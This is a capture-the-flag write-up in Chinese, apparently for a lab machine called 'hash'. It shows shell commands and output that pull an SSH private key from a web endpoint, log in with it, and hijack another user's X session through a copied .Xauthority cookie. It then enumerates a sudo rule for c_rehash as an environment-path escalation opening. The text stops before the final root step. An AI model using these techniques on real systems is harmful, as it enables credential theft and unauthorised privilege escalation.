\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Hash]\n\u2514\u2500$ curl -s http:\/\/$IP\/check.php -d "password=34250003024812"\n\n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxiKdFmWJiVfVYaNGov1xuh0\/nrXnNsx2s6g5IoIJrmkX+9qzt2US\nZWMgrjLzAyB3wrLFysCPh4F8GU87pJkbpc0prM\/8vB2WJCg5ktDQ6o0vwH219sPKUS4e9R\ns2bPz7CJX5bzFDQ3B6ZUOs1itZ1t\/uq38XuCxDjI8XxU6fusB3Rjz2XIombtFwo78W1pkX\nVnQhzZOQ+b8UaC5lZeKatcZ0xdc0iQgiAbcRN7sXYCDMxMmo9KsxqzWjd56hLrv1nsTy2t\nVBXzDRw+5JU4AJlGDRB\/Upq\/oKbGDCOmgNUsJPQKW4TgEAWhUa+t\/ue2Bs\/wFjCY7w\/LkY\npK4bnY5eHQAAA8C\/pv23v6b9twAAAAdzc2gtcnNhAAABAQDGIp0WZYmJV9Vho0ai\/XG6HT\n+etec2zHazqDkiggmuaRf72rO3ZRJlYyCuMvMDIHfCssXKwI+HgXwZTzukmRulzSmsz\/y8\nHZYkKDmS0NDqjS\/AfbX2w8pRLh71GzZs\/PsIlflvMUNDcHplQ6zWK1nW3+6rfxe4LEOMjx\nfFTp+6wHdGPPZciiZu0XCjvxbWmRdWdCHNk5D5vxRoLmVl4pq1xnTF1zSJCCIBtxE3uxdg\nIMzEyaj0qzGrNaN3nqEuu\/WexPLa1UFfMNHD7klTgAmUYNEH9Smr+gpsYMI6aA1Swk9Apb\nhOAQBaFRr63+57YGz\/AWMJjvD8uRikrhudjl4dAAAAAwEAAQAAAQEAlMcLA\/VMmGfu33kW\nIm+DRUiPLCLVMo3HmFH6TRIuKNvbWY+4oT5w2NbdhFDXr4Jiyz0oTn3XiN3PDMY1N\/yMCS\n0MXSp0UeE5i3709Gx+Y5GOyNDcoSYVtm2Wa2B6ts4jxievfDIWmv5LudxeXReCR1oxQm+V\npQL\/2fzc0ZifUj+\/VSSIltgDKHxEfebfK0xShgXTSlUhickSapre2ArSdplM\/rYvZLDWmd\niGkGD3VnAgRtloy5v32vPI3M++OCrHbLxgff4odAjawejPPHVj3beMgCrqwb\/CCNKEyWKc\nJkjjt7nY\/GUW4RfzM34LplezpmvrsLkTVMAb3KflDkDPFQAAAIBrP6Pnz0t8d\/M+4hEb66\nIkrftwqMC+c8Z0HMGURTMco7jXfoXaVP3eWCafEZ\/RobZm0Ob1mnBZ574Qn8ai5VLPyJz6\n5Ibe1Z6LWu6yCL\/VFNyksnVARIuVjQt9pXpzbXOfn0H4ZHRBFyRhNHGjnft1PA59O30Dpw\nUVz9eO3K2EqQAAAIEA4baQFa4RYnZ\/YK4F6acjsAPhk88poLjDT86eCQ08wO5+d8BGuSHE\n+BAqCZJuJTvvozYpZ5NFW4OEG9+T\/HX2tvB6Ucc1pbQNNnB7CBp\/VoLLTW+nuU3YJbgYlx\nVnWRRudD6K7wjZEHJ44XzLdTy2wyeUvZw\/iJRZmqQ5hxXCD1MAAACBAOC4ucZotWaq\/pb5\nV5RqLV8HU+DWFHAIfvqtYI5wCcZmAjGtXgLF1HY9MZ3bRPz2\/m7cB44cdgCRbtmqBvnOvn\n6h9AS4gr1HOJEpjgohkxBTc2Mf\/dpCCdcNCX2Xy5ExPSilbS2rUHHCIU2J\/yZGTths8fBR\ncEjmSYvt0qFY\/t7PAAAACm1hcmNvQGhhc2g=\n-----END OPENSSH PRIVATE KEY-----<\/code><\/pre>\n\u5c1d\u8bd5\u5229\u7528\u8fd9\u4e2a\u51ed\u8bc1\u8fdb\u884c\u767b\u5f55\uff0c\u4f46\u662f\u53d1\u73b0\u4e0d\u77e5\u9053\u7528\u6237\u540d\uff0c\u8fd8\u662f\u5f97\u4fe1\u606f\u641c\u96c6\u3002<\/p>\n
\u6ce8\u610f\u5230\u524d\u9762\u6709\u4e00\u4e2a\u6ce8\u91ca\u662f\u8fd9\u4e48\u5199\u7684\/\/marco please dont use md5, is not secure.<\/code>\uff0c\u6709\u6ca1\u6709\u53ef\u80fd\u7528\u6237\u540d\u5c31\u662f\u8fd9\u4e2amarco<\/code>\uff0c\u89e3\u4e00\u4e0b\u8fd9\u4e2aid_rsa<\/code>\u770b\u770b\u5bf9\u4e0d\u5bf9\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Hash]\n\u2514\u2500$ ssh-keygen -y -f id_rsa\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGIp0WZYmJV9Vho0ai\/XG6HT+etec2zHazqDkiggmuaRf72rO3ZRJlYyCuMvMDIHfCssXKwI+HgXwZTzukmRulzSmsz\/y8HZYkKDmS0NDqjS\/AfbX2w8pRLh71GzZs\/PsIlflvMUNDcHplQ6zWK1nW3+6rfxe4LEOMjxfFTp+6wHdGPPZciiZu0XCjvxbWmRdWdCHNk5D5vxRoLmVl4pq1xnTF1zSJCCIBtxE3uxdgIMzEyaj0qzGrNaN3nqEuu\/WexPLa1UFfMNHD7klTgAmUYNEH9Smr+gpsYMI6aA1Swk9ApbhOAQBaFRr63+57YGz\/AWMJjvD8uRikrhudjl4d marco@hash<\/code><\/pre>\n\u53d1\u73b0\u6b63\u786e\uff0c\u5c1d\u8bd5\u767b\u5f55\uff1a<\/p>\n
![\"image-20250611195111367\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/p>\n
\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\nmarco@hash:~$ ls -la\ntotal 196\ndrwxr-xr-x 16 marco marco 4096 Feb 5 2021 .\ndrwxr-xr-x 4 root root 4096 Feb 5 2021 ..\n-rw-r--r-- 1 marco marco 220 Feb 5 2021 .bash_logout\n-rw-r--r-- 1 marco marco 3526 Feb 5 2021 .bashrc\ndrwxr-xr-x 4 marco marco 4096 Feb 5 2021 .cache\ndrwxr-xr-x 5 marco marco 4096 Feb 5 2021 .config\ndrwxr-xr-x 2 marco marco 4096 Feb 5 2021 Desktop\n-rw-r--r-- 1 marco marco 35 Feb 5 2021 .dmrc\ndrwxr-xr-x 2 marco marco 4096 Feb 5 2021 Documents\ndrwxr-xr-x 2 marco marco 4096 Feb 5 2021 Downloads\n-rwx------ 1 marco marco 1920 Feb 5 2021 flag.sh\n-rw------- 1 marco marco 0 Feb 5 2021 .ICEauthority\ndrwxr-xr-x 3 marco marco 4096 Feb 5 2021 .local\ndrwxr-xr-x 2 marco marco 4096 Feb 5 2021 Music\ndrwxrwxrwt 2 marco marco 4096 Feb 5 2021 .pcsc11\ndrwxr-xr-x 2 marco marco 4096 Feb 5 2021 Pictures\n-rw-r--r-- 1 marco marco 807 Feb 5 2021 .profile\ndrwxr-xr-x 2 marco marco 4096 Feb 5 2021 Public\ndrwx------ 2 marco marco 4096 Feb 5 2021 .ssh\ndrwxr-xr-x 2 marco marco 4096 Feb 5 2021 Templates\ndrwxr-xr-t 2 marco marco 4096 Feb 5 2021 thinclient_drives\n-rw------- 1 marco marco 13 Feb 5 2021 user.txt\ndrwxr-xr-x 2 marco marco 4096 Feb 5 2021 Videos\n-rw-r--r-- 1 marco marco 15 Feb 5 2021 .x\n-rw------- 1 marco marco 149 Feb 5 2021 .Xauthority\n-rw-r--r-- 1 marco marco 20783 Feb 5 2021 .xfce4-session.verbose-log\n-rw-r--r-- 1 marco marco 14157 Feb 5 2021 .xfce4-session.verbose-log.last\n-rw-r--r-- 1 marco marco 20480 Feb 5 2021 .xorgxrdp.11.log\n-rw-r--r-- 1 marco marco 14967 Feb 5 2021 .xorgxrdp.11.log.old\n-rw------- 1 marco marco 2630 Feb 5 2021 .xsession-errors\n-rw------- 1 marco marco 17132 Feb 5 2021 .xsession-errors.old\nmarco@hash:~$ .\/flag.sh \n\\033[0;35m\n . ** \n * *. \n ,* \n *, \n , ,* \n ., *, \n \/ * \n ,* *, \n \/. .*. \n * ** \n ,* ,* \n ** *. \n ** **. \n ,* ** \n *, ,* \n * ** \n *, .* \n *. ** \n ** ,*, \n ** *, \\033[0m\n-------------------------\n\\nPWNED HOST: hash\n\\nPWNED DATE: Wed 11 Jun 2025 07:51:35 AM EDT\n\\nWHOAMI: uid=1000(marco) gid=1000(marco) groups=1000(marco),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)\n\\nFLAG: hashmanready\n\\n------------------------\nmarco@hash:~$ cat user.txt \nhashmanready\nmarco@hash:~$ cat .x\nmarcothehasher\nmarco@hash:~$ ls -la \/home\/\ntotal 16\ndrwxr-xr-x 4 root root 4096 Feb 5 2021 .\ndrwxr-xr-x 19 root root 4096 Feb 5 2021 ..\ndrwxr-xr-x 16 marco marco 4096 Feb 5 2021 marco\ndrwxr-xr-x 3 maria maria 4096 Feb 5 2021 maria\nmarco@hash:~$ cd ..\/maria\nmarco@hash:\/home\/maria$ ls -la\ntotal 32\ndrwxr-xr-x 3 maria maria 4096 Feb 5 2021 .\ndrwxr-xr-x 4 root root 4096 Feb 5 2021 ..\n-rw-r--r-- 1 maria maria 220 Feb 5 2021 .bash_logout\n-rw-r--r-- 1 maria maria 3526 Feb 5 2021 .bashrc\ndrwxr-xr-x 3 maria maria 4096 Feb 5 2021 .local\n-rwxr-xr-x 1 maria maria 25 Feb 5 2021 myterm.sh\n-rw-r--r-- 1 maria maria 807 Feb 5 2021 .profile\n-rw-r--r-- 1 maria maria 66 Feb 5 2021 .selected_editor\n-rwxrwxrwx 1 maria maria 0 Feb 5 2021 .Xauthority\nmarco@hash:\/home\/maria$ cat myterm.sh \nexport DISPLAY=:10\nxterm<\/code><\/pre>\n\u6267\u884c\u811a\u672c\u5207\u6362\u7ec8\u7aef<\/h3>\n
\u4e0d\u77e5\u9053\u5565\u610f\u601d\uff0c\u770b\u4e00\u4e0b\uff1a<\/p>\n
\n\n- \u544a\u8bc9\u7535\u8111\u4e0a\u7684\u56fe\u5f62\u7a0b\u5e8f\uff08\u6bd4\u5982
xterm<\/code>\uff09\uff0c\u628a\u7a97\u53e3\u663e\u793a\u5230\u7f16\u53f7\u4e3a :10<\/code> \u7684\u5c4f\u5e55\u4e0a\u3002<\/li>\n- \u6253\u5f00\u4e00\u4e2a\u547d\u4ee4\u884c\u7a97\u53e3\uff08\u9ed1\u5e95\u767d\u5b57\u7684\u7ec8\u7aef\u754c\u9762\uff09\u3002<\/li>\n<\/ul>\n<\/blockquote>\n
\u5c1d\u8bd5\u6267\u884c\u4e00\u4e0b\uff1a<\/p>\n
marco@hash:\/home\/maria$ .\/myterm.sh \nxterm: Xt error: Can't open display: :10\n<\/code><\/pre>\n\u8fd9\u662f\u56e0\u4e3a\u901a\u8fc7 SSH \u8fde\u63a5\u8fdc\u7a0b\u670d\u52a1\u5668\u65f6\u65e0\u6cd5\u663e\u793a\u56fe\u5f62\u754c\u9762\u3002\u8fdc\u7a0b\u8fde\u63a5\u7684\u65f6\u5019\u5c1d\u8bd5\u6539\u4e00\u4e0b\u9009\u9879\uff0c-Y<\/code>\u5141\u8bb8\u8f6c\u53d1\uff1a<\/p>\n<\/div><\/p>\n
\u5f39\u8fc7\u6765\u4e00\u4e2ashell\uff0c\u4f46\u662f\u662fmarco\u7684\u7ec8\u7aef\uff01\u5c1d\u8bd5\u4fee\u6539\u4e00\u4e0b\u914d\u7f6e\u6587\u4ef6\uff0c\u4f7f\u5176\u5f39\u56demaria<\/code>\u7684shell\uff01<\/p>\n\n.Xauthority<\/code> \u662f Linux\/X Window \u7cfb\u7edf\u4e2d\u7528\u4e8e \u56fe\u5f62\u754c\u9762\u8eab\u4efd\u9a8c\u8bc1<\/strong> \u7684\u9690\u85cf\u6587\u4ef6\uff0c\u6838\u5fc3\u4f5c\u7528\u662f\u5b58\u50a8\u7528\u6237\u7684\u201c\u94a5\u5319\u201d\uff08\u6388\u6743\u4fe1\u606f\uff09<\/strong><\/p>\n<\/blockquote>\nmarco@hash:\/home\/maria$ ls -la\ntotal 32\ndrwxr-xr-x 3 maria maria 4096 Feb 5 2021 .\ndrwxr-xr-x 4 root root 4096 Feb 5 2021 ..\n-rw-r--r-- 1 maria maria 220 Feb 5 2021 .bash_logout\n-rw-r--r-- 1 maria maria 3526 Feb 5 2021 .bashrc\ndrwxr-xr-x 3 maria maria 4096 Feb 5 2021 .local\n-rwxr-xr-x 1 maria maria 25 Feb 5 2021 myterm.sh\n-rw-r--r-- 1 maria maria 807 Feb 5 2021 .profile\n-rw-r--r-- 1 maria maria 66 Feb 5 2021 .selected_editor\n-rwxrwxrwx 1 maria maria 0 Feb 5 2021 .Xauthority\nmarco@hash:\/home\/maria$ cat .Xauthority\nmarco@hash:\/home\/maria$ xauth list $DISPLAY\nhash\/unix:11 MIT-MAGIC-COOKIE-1 c50ca26b23a37cd020519c0f824503f8\nhash\/unix:0 MIT-MAGIC-COOKIE-1 6d6272a70ffe8bbe8b3c72c5ec8ba46b\nhash\/unix:10 MIT-MAGIC-COOKIE-1 cc2188de2535cc4ff95173e0c514737d<\/code><\/pre>\n\u5c1d\u8bd5\u8fdb\u884c\u66ff\u6362\u4e00\u4e0b\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u5f39\u56de\u6b63\u786e\u7684\uff1a<\/p>\n
marco@hash:\/home\/maria$ cp ..\/marco\/.Xauthority .Xauthority \nmarco@hash:\/home\/maria$ ls -la\ntotal 36\ndrwxr-xr-x 3 maria maria 4096 Feb 5 2021 .\ndrwxr-xr-x 4 root root 4096 Feb 5 2021 ..\n-rw-r--r-- 1 maria maria 220 Feb 5 2021 .bash_logout\n-rw-r--r-- 1 maria maria 3526 Feb 5 2021 .bashrc\ndrwxr-xr-x 3 maria maria 4096 Feb 5 2021 .local\n-rwxr-xr-x 1 maria maria 25 Feb 5 2021 myterm.sh\n-rw-r--r-- 1 maria maria 807 Feb 5 2021 .profile\n-rw-r--r-- 1 maria maria 66 Feb 5 2021 .selected_editor\n-rwxrwxrwx 1 maria maria 149 Jun 11 09:06 .Xauthority<\/code><\/pre>\n<\/div><\/p>\n
\u5c1d\u8bd5\u5f39\u56deshell\uff01<\/p>\n
<\/div>
\n
<\/div><\/p>\n
Maria\u4fe1\u606f\u641c\u96c6<\/h3>\n(remote) maria@hash:\/home\/maria$ ls -la\ntotal 36\ndrwxr-xr-x 3 maria maria 4096 Feb 5 2021 .\ndrwxr-xr-x 4 root root 4096 Feb 5 2021 ..\n-rw-r--r-- 1 maria maria 220 Feb 5 2021 .bash_logout\n-rw-r--r-- 1 maria maria 3526 Feb 5 2021 .bashrc\ndrwxr-xr-x 3 maria maria 4096 Feb 5 2021 .local\n-rwxr-xr-x 1 maria maria 25 Feb 5 2021 myterm.sh\n-rw-r--r-- 1 maria maria 807 Feb 5 2021 .profile\n-rw-r--r-- 1 maria maria 66 Feb 5 2021 .selected_editor\n-rwxrwxrwx 1 maria maria 149 Jun 11 09:06 .Xauthority\n(remote) maria@hash:\/home\/maria$ sudo -l\nMatching Defaults entries for maria on hash:\n env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser maria may run the following commands on hash:\n (ALL : ALL) NOPASSWD: \/usr\/bin\/c_rehash\n(remote) maria@hash:\/home\/maria$ file \/usr\/bin\/c_rehash\n\/usr\/bin\/c_rehash: Perl script text executable\n(remote) maria@hash:\/home\/maria$ cat \/usr\/bin\/c_rehash\n#!\/usr\/bin\/perl\n\n# WARNING: do not edit!\n# Generated by Makefile from ..\/tools\/c_rehash.in\n# Copyright 1999-2018 The OpenSSL Project Authors. All Rights Reserved.\n#\n# Licensed under the OpenSSL license (the "License"). You may not use\n# this file except in compliance with the License. You can obtain a copy\n# in the file LICENSE in the source distribution or at\n# https:\/\/www.openssl.org\/source\/license.html\n\n# Perl c_rehash script, scan all files in a directory\n# and add symbolic links to their hash values.\n\nmy $dir = "\/usr\/lib\/ssl";\nmy $prefix = "\/usr";\n\nmy $errorcount = 0;\nmy $openssl = $ENV{OPENSSL} || "openssl"; # \u4e0d\u5bf9\u52b2\uff0c\u6709\u95ee\u9898\u55f7\uff01\uff01\uff01\uff01\nmy $pwd;\nmy $verbose = 0;\nmy $symlink_exists=eval {symlink("",""); 1};\nmy $removelinks = 1;\n\n## Parse flags.\nwhile ( $ARGV[0] =~ \/^-\/ ) {\n my $flag = shift @ARGV;\n last if ( $flag eq '--');\n if ( $flag eq '-h' || $flag eq '-help' ) {\n help();\n } elsif ( $flag eq '-n' ) {\n $removelinks = 0;\n } elsif ( $flag eq '-v' ) {\n $verbose++;\n }\n else {\n print STDERR "Usage error; try -h.\\n";\n exit 1;\n }\n}\n\nsub help {\n print "Usage: c_rehash [-old] [-h] [-help] [-v] [dirs...]\\n";\n print " -old use old-style digest\\n";\n print " -h or -help print this help text\\n";\n print " -v print files removed and linked\\n";\n exit 0;\n}\n\neval "require Cwd";\nif (defined(&Cwd::getcwd)) {\n $pwd=Cwd::getcwd();\n} else {\n $pwd=`pwd`;\n chomp($pwd);\n}\n\n# DOS\/Win32 or Unix delimiter? Prefix our installdir, then search.\nmy $path_delim = ($pwd =~ \/^[a-z]\\:\/i) ? ';' : ':';\n$ENV{PATH} = "$prefix\/bin" . ($ENV{PATH} ? $path_delim . $ENV{PATH} : "");\n\nif (! -x $openssl) {\n my $found = 0;\n foreach (split \/$path_delim\/, $ENV{PATH}) {\n if (-x "$_\/$openssl") {\n $found = 1;\n $openssl = "$_\/$openssl";\n last;\n }\n }\n if ($found == 0) {\n print STDERR "c_rehash: rehashing skipped ('openssl' program not available)\\n";\n exit 0;\n }\n}\n\nif (@ARGV) {\n @dirlist = @ARGV;\n} elsif ($ENV{SSL_CERT_DIR}) {\n @dirlist = split \/$path_delim\/, $ENV{SSL_CERT_DIR};\n} else {\n $dirlist[0] = "$dir\/certs";\n}\n\nif (-d $dirlist[0]) {\n chdir $dirlist[0];\n $openssl="$pwd\/$openssl" if (!-x $openssl);\n chdir $pwd;\n}\n\nforeach (@dirlist) {\n if (-d $_ ) {\n if ( -w $_) {\n hash_dir($_);\n } else {\n print "Skipping $_, can't write\\n";\n $errorcount++;\n }\n }\n}\nexit($errorcount);\n\nsub hash_dir {\n my %hashlist;\n print "Doing $_[0]\\n";\n chdir $_[0];\n opendir(DIR, ".");\n my @flist = sort readdir(DIR);\n closedir DIR;\n if ( $removelinks ) {\n # Delete any existing symbolic links\n foreach (grep {\/^[\\da-f]+\\.r{0,1}\\d+$\/} @flist) {\n if (-l $_) {\n print "unlink $_" if $verbose;\n unlink $_ || warn "Can't unlink $_, $!\\n";\n }\n }\n }\n FILE: foreach $fname (grep {\/\\.(pem)|(crt)|(cer)|(crl)$\/} @flist) {\n # Check to see if certificates and\/or CRLs present.\n my ($cert, $crl) = check_file($fname);\n if (!$cert && !$crl) {\n print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\\n";\n next;\n }\n link_hash_cert($fname) if ($cert);\n link_hash_cert_old($fname) if ($cert);\n link_hash_crl($fname) if ($crl);\n link_hash_crl_old($fname) if ($crl);\n }\n}\n\nsub check_file {\n my ($is_cert, $is_crl) = (0,0);\n my $fname = $_[0];\n open IN, $fname;\n while(<IN>) {\n if (\/^-----BEGIN (.*)-----\/) {\n my $hdr = $1;\n if ($hdr =~ \/^(X509 |TRUSTED |)CERTIFICATE$\/) {\n $is_cert = 1;\n last if ($is_crl);\n } elsif ($hdr eq "X509 CRL") {\n $is_crl = 1;\n last if ($is_cert);\n }\n }\n }\n close IN;\n return ($is_cert, $is_crl);\n}\n\n# Link a certificate to its subject name hash value, each hash is of\n# the form <hash>.<n> where n is an integer. If the hash value already exists\n# then we need to up the value of n, unless its a duplicate in which\n# case we skip the link. We check for duplicates by comparing the\n# certificate fingerprints\n\nsub link_hash_cert {\n my $fname = $_[0];\n my $x509hash = $_[1] || '-subject_hash';\n $fname =~ s\/'\/'\\\\''\/g;\n my ($hash, $fprint) = `"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`;\n chomp $hash;\n chomp $fprint;\n $fprint =~ s\/^.*=\/\/;\n $fprint =~ tr\/:\/\/d;\n my $suffix = 0;\n # Search for an unused hash filename\n while(exists $hashlist{"$hash.$suffix"}) {\n # Hash matches: if fingerprint matches its a duplicate cert\n if ($hashlist{"$hash.$suffix"} eq $fprint) {\n print STDERR "WARNING: Skipping duplicate certificate $fname\\n";\n return;\n }\n $suffix++;\n }\n $hash .= ".$suffix";\n if ($symlink_exists) {\n print "link $fname -> $hash\\n" if $verbose;\n symlink $fname, $hash || warn "Can't symlink, $!";\n } else {\n print "copy $fname -> $hash\\n" if $verbose;\n if (open($in, "<", $fname)) {\n if (open($out,">", $hash)) {\n print $out $_ while (<$in>);\n close $out;\n } else {\n warn "can't open $hash for write, $!";\n }\n close $in;\n } else {\n warn "can't open $fname for read, $!";\n }\n }\n $hashlist{$hash} = $fprint;\n}\n\nsub link_hash_cert_old {\n link_hash_cert($_[0], '-subject_hash_old');\n}\n\nsub link_hash_crl_old {\n link_hash_crl($_[0], '-hash_old');\n}\n\n# Same as above except for a CRL. CRL links are of the form <hash>.r<n>\n\nsub link_hash_crl {\n my $fname = $_[0];\n my $crlhash = $_[1] || "-hash";\n $fname =~ s\/'\/'\\\\''\/g;\n my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;\n chomp $hash;\n chomp $fprint;\n $fprint =~ s\/^.*=\/\/;\n $fprint =~ tr\/:\/\/d;\n my $suffix = 0;\n # Search for an unused hash filename\n while(exists $hashlist{"$hash.r$suffix"}) {\n # Hash matches: if fingerprint matches its a duplicate cert\n if ($hashlist{"$hash.r$suffix"} eq $fprint) {\n print STDERR "WARNING: Skipping duplicate CRL $fname\\n";\n return;\n }\n $suffix++;\n }\n $hash .= ".r$suffix";\n if ($symlink_exists) {\n print "link $fname -> $hash\\n" if $verbose;\n symlink $fname, $hash || warn "Can't symlink, $!";\n } else {\n print "cp $fname -> $hash\\n" if $verbose;\n system ("cp", $fname, $hash);\n warn "Can't copy, $!" if ($? >> 8) != 0;\n }\n $hashlist{$hash} = $fprint;\n}<\/code><\/pre>\n\u4e0a\u4f20\u4e00\u4e2apspy64<\/code>\u770b\u4e00\u4e0b\u6709\u4e9b\u5565\u60c5\u51b5\uff1a<\/p>\n<\/div><\/p>\n
\u4e0a\u4f20linpeas.sh<\/code>\u5c1d\u8bd5\u8fdb\u884c\u4fe1\u606f\u641c\u96c6\uff1a<\/p>\n<\/div>
\n
<\/div>
\n
<\/div>
\n
<\/div><\/p>\n
\u8fd9\u4e2apwnkit<\/code>\u663e\u793a\u6700\u65e9\u62ab\u9732\u65f6\u95f4\u4e3a\uff1a<\/p>\n<\/div><\/p>\n
\u4f46\u662f\u9776\u673a\u521b\u7acb\u65f6\u95f4\u4e3a2021.02.05<\/code>\uff0c\u611f\u89c9\u4e0d\u50cf\u662f\u8003\u8fd9\u4e2a\u7684\u3002\u3002<\/p>\n\u811a\u672c\u8def\u5f84\u52ab\u6301\u63d0\u6743<\/h3>\n
\u8ba9AI\u5206\u6790\u4e00\u4e0b\u4e0a\u4e00\u4e2a\u957f\u811a\u672c\uff0c\u770b\u770b\u6d41\u7a0b\u662f\u548b\u6837\u7684\uff1a<\/p>\n
\n\u4ee5\u4e0b\u662f c_rehash<\/code> \u811a\u672c\u7684\u7b80\u6d01\u6267\u884c\u6d41\u7a0b\u548c\u5173\u952e\u7ec6\u8282\u5206\u6790\uff1a<\/p>\n\u4e00\u3001\u6838\u5fc3\u529f\u80fd<\/strong><\/h3>\n\u4e3a\u6307\u5b9a\u76ee\u5f55\u4e2d\u7684\u8bc1\u4e66\/CRL\u6587\u4ef6\u521b\u5efa\u54c8\u5e0c\u503c\u547d\u540d\u7684\u7b26\u53f7\u94fe\u63a5\uff08\u6216\u62f7\u8d1d\uff09\uff0c\u7528\u4e8e OpenSSL \u5feb\u901f\u67e5\u627e\u8bc1\u4e66\u3002\u652f\u6301\u6587\u4ef6\u7c7b\u578b\uff1a.pem<\/code>, .crt<\/code>, .cer<\/code>, .crl<\/code>\u3002<\/p>\n
\n\u4e8c\u3001\u6267\u884c\u6d41\u7a0b<\/strong><\/h3>\n\n- \n
\u521d\u59cb\u5316\u914d\u7f6e<\/strong><\/p>\n\n- \u9ed8\u8ba4\u76ee\u5f55\uff1a
\/usr\/lib\/ssl\/certs<\/code><\/li>\n- \u4f18\u5148\u4f7f\u7528\u73af\u5883\u53d8\u91cf
SSL_CERT_DIR<\/code> \u6216\u547d\u4ee4\u884c\u53c2\u6570\u6307\u5b9a\u76ee\u5f55\u3002<\/li>\n<\/ul>\n<\/li>\n- \n
\u53c2\u6570\u89e3\u6790<\/strong><\/p>\n-n # \u4fdd\u7559\u73b0\u6709\u94fe\u63a5\uff08\u4e0d\u5220\u9664\uff09\n-v # \u663e\u793a\u8be6\u7ec6\u64cd\u4f5c\u65e5\u5fd7\n-h # \u663e\u793a\u5e2e\u52a9<\/code><\/pre>\n<\/li>\n- \n
\u76ee\u5f55\u5904\u7406<\/strong><\/p>\n\n- \u68c0\u67e5\u76ee\u5f55\u53ef\u5199\u6743\u9650\uff0c\u8df3\u8fc7\u65e0\u6743\u9650\u76ee\u5f55\u3002<\/li>\n
- \u5220\u9664\u65e7\u54c8\u5e0c\u94fe\u63a5\uff08\u9664\u975e
-n<\/code> \u53c2\u6570\u542f\u7528\uff09\u3002<\/li>\n<\/ul>\n<\/li>\n- \n
\u6587\u4ef6\u626b\u63cf\u4e0e\u5206\u7c7b<\/strong><\/p>\n\n- \n
\u626b\u63cf\u76ee\u5f55\u4e2d\u6240\u6709\u8bc1\u4e66\/CRL\u6587\u4ef6\u3002<\/p>\n<\/li>\n
- \n
\u901a\u8fc7\u6587\u4ef6\u5934\u9a8c\u8bc1\u7c7b\u578b\uff1a<\/p>\n
-----BEGIN CERTIFICATE----- # \u8bc1\u4e66\u6587\u4ef6\n-----BEGIN X509 CRL----- # CRL\u6587\u4ef6<\/code><\/pre>\n<\/li>\n<\/ul>\n<\/li>\n- \n
\u751f\u6210\u54c8\u5e0c\u94fe\u63a5<\/strong><\/p>\n\n- \u8bc1\u4e66\u6587\u4ef6<\/strong> \u2192 \u8c03\u7528
openssl x509 -subject_hash<\/code> \u8ba1\u7b97\u54c8\u5e0c\u503c\uff0c\u547d\u540d\u683c\u5f0f\uff1a<\u54c8\u5e0c>.<\u5e8f\u53f7><\/code>\uff08\u5982 3a2b1c.0<\/code>\uff09\u3002<\/li>\n- CRL\u6587\u4ef6<\/strong> \u2192 \u8c03\u7528
openssl crl -hash<\/code> \u8ba1\u7b97\u54c8\u5e0c\u503c\uff0c\u547d\u540d\u683c\u5f0f\uff1a<\u54c8\u5e0c>.r<\u5e8f\u53f7><\/code>\uff08\u5982 5d4e3f.r0<\/code>\uff09\u3002<\/li>\n- \u82e5\u54c8\u5e0c\u51b2\u7a81\uff0c\u9012\u589e\u5e8f\u53f7\u907f\u514d\u8986\u76d6\u3002<\/li>\n<\/ul>\n<\/li>\n
- \n
\u521b\u5efa\u94fe\u63a5\/\u62f7\u8d1d<\/strong><\/p>\n\n- \u7cfb\u7edf\u652f\u6301\u7b26\u53f7\u94fe\u63a5 \u2192 \u521b\u5efa\u7b26\u53f7\u94fe\u63a5\u3002<\/li>\n
- \u7cfb\u7edf\u4e0d\u652f\u6301\u7b26\u53f7\u94fe\u63a5 \u2192 \u76f4\u63a5\u62f7\u8d1d\u6587\u4ef6\u3002<\/li>\n<\/ul>\n<\/li>\n
- \n
\u9000\u51fa\u72b6\u6001<\/strong><\/p>\n\n- \u8fd4\u56de\u9519\u8bef\u8ba1\u6570\uff080 \u8868\u793a\u5168\u90e8\u6210\u529f\uff09\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n
\n\u4e09\u3001\u5b89\u5168\u7ec6\u8282<\/strong><\/h3>\n\n- \n
\u6587\u4ef6\u540d\u6ce8\u5165\u9632\u62a4<\/strong>
\n\u6587\u4ef6\u540d\u4e2d\u7684\u5355\u5f15\u53f7\u88ab\u8f6c\u4e49\uff1a$fname =~ s\/'\/'\\\\''\/g<\/code>\uff0c\u9632\u6b62\u547d\u4ee4\u6ce8\u5165\uff08\u4fee\u590d CVE-2022-1292\uff09\u3002<\/p>\n# \u5b89\u5168\u6267\u884c\u547d\u4ee4\u793a\u4f8b\uff1a\nopenssl x509 -in '$escaped_fname' -hash -noout<\/code><\/code><\/pre>\n<\/li>\n- \n
\u91cd\u590d\u6587\u4ef6\u5904\u7406<\/strong><\/p>\n\n- \u901a\u8fc7 SHA-1 \u6307\u7eb9\u68c0\u6d4b\u91cd\u590d\u6587\u4ef6\uff0c\u8df3\u8fc7\u91cd\u590d\u9879\u5e76\u544a\u8b66\u3002<\/li>\n<\/ul>\n
WARNING: Skipping duplicate certificate $fname<\/code><\/pre>\n<\/li>\n<\/ol>\n
